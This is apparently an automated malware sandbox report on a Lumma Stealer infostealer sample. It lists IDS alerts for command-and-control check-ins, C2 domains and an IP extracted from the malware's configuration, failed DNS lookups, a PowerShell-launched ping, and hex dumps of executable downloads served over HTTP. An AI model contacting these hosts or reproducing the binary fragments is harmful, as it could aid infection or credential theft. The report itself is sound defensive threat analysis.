Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49873 -> 104.131.68.180:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49873 -> 104.131.68.180:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	IPs: 185.215.113.43

Performs DNS queries to domains with low reputation

Source:	DNS query: diffuculttan.xyz
Source:	DNS query: effecterectz.xyz
Source:	DNS query: diffuculttan.xyz
Source:	DNS query: debonairnukk.xyz

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: impend-differ.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: formy-spill.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: zinc-sneark.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: se-blurry.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: effecterectz.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wrathful-jammy.cyou replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dwell-exclaim.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: print-vexer.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: dare-curbys.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: drive-connect.cyou replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: debonairnukk.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: diffuculttan.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: sordid-snaked.cyou replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: covery-mover.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awake-weaves.cyou replaycode: Name error (3)

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Yara detected Generic Downloader

Source: Yara match

File source: 40.2.716b31b09e.exe.940000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:03:09 GMTContent-Type: application/octet-streamContent-Length: 2031104Last-Modified: Tue, 17 Dec 2024 06:07:04 GMTConnection: keep-aliveETag: "67611508-1efe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 90 4d 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4d 00 00 04 00 00 7b 4b 1f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 56 e0 07 00 6a 00 00 00 00 c0 07 00 6c 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 e1 07 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 07 00 00 10 00 00 00 3c 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6c 16 00 00 00 c0 07 00 00 08 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 07 00 00 02 00 00 00 54 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 f0 07 00 00 02 00 00 00 56 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 78 71 63 71 68 72 6c 00 80 1a 00 00 00 33 00 00 80 1a 00 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 75 71 67 73 6a 68 6a 00 10 00 00 00 80 4d 00 00 04 00 00 00 d8 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4d 00 00 22 00 00 00 dc 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:03:18 GMTContent-Type: application/octet-streamContent-Length: 1870336Last-Modified: Mon, 16 Dec 2024 17:17:26 GMTConnection: keep-aliveETag: "676060a6-1c8a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 77 69 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 65 64 66 62 69 61 00 10 1a 00 00 80 2f 00 00 06 1a 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 6d 77 72 66 68 79 00 10 00 00 00 90 49 00 00 04 00 00 00 64 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 68 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:03:26 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:03:39 GMTContent-Type: application/octet-streamContent-Length: 1763328Last-Modified: Mon, 16 Dec 2024 20:04:16 GMTConnection: keep-aliveETag: "676087c0-1ae800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b5 7d 5e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 b4 00 00 00 10 00 00 00 00 00 00 00 a0 45 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 45 00 00 04 00 00 f7 c7 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 00 01 00 69 00 00 00 00 e0 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 01 01 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 00 00 00 20 00 00 00 54 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 0c 00 00 00 e0 00 00 00 0e 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 00 01 00 00 02 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 20 01 00 00 02 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 73 72 66 69 6d 65 79 00 40 1a 00 00 40 2b 00 00 3c 1a 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 68 70 61 77 69 73 74 00 20 00 00 00 80 45 00 00 04 00 00 00 c2 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 45 00 00 22 00 00 00 c6 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:03:47 GMTContent-Type: application/octet-streamContent-Length: 4450816Last-Modified: Tue, 17 Dec 2024 05:47:59 GMTConnection: keep-aliveETag: "6761108f-43ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 60 c7 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c7 00 00 04 00 00 1e 99 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 41 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 41 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 72 00 00 10 00 00 00 2a 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 e0 72 00 00 02 00 00 00 3a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 72 00 00 02 00 00 00 3c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 38 00 00 00 73 00 00 02 00 00 00 3e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 66 68 71 6c 70 64 72 00 90 1b 00 00 c0 ab 00 00 84 1b 00 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 67 6d 70 75 67 6d 68 00 10 00 00 00 50 c7 00 00 04 00 00 00 c4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c7 00 00 22 00 00 00 c8 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:03:59 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 17 Dec 2024 07:04:05 GMTContent-Type: application/octet-streamContent-Length: 1818112Last-Modified: Tue, 17 Dec 2024 06:48:17 GMTConnection: keep-aliveETag: "67611eb1-1bbe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 10 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 48 00 00 04 00 00 b8 78 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 